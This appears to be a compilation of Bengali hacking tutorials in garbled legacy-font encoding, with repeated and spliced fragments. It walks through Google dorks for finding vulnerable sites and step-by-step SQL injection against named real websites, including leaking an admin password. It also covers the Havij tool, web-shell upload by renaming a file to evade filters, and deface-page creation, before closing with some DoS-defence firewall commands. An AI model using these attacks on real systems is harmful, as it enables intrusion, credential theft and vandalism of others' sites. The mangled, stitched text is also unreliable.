এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
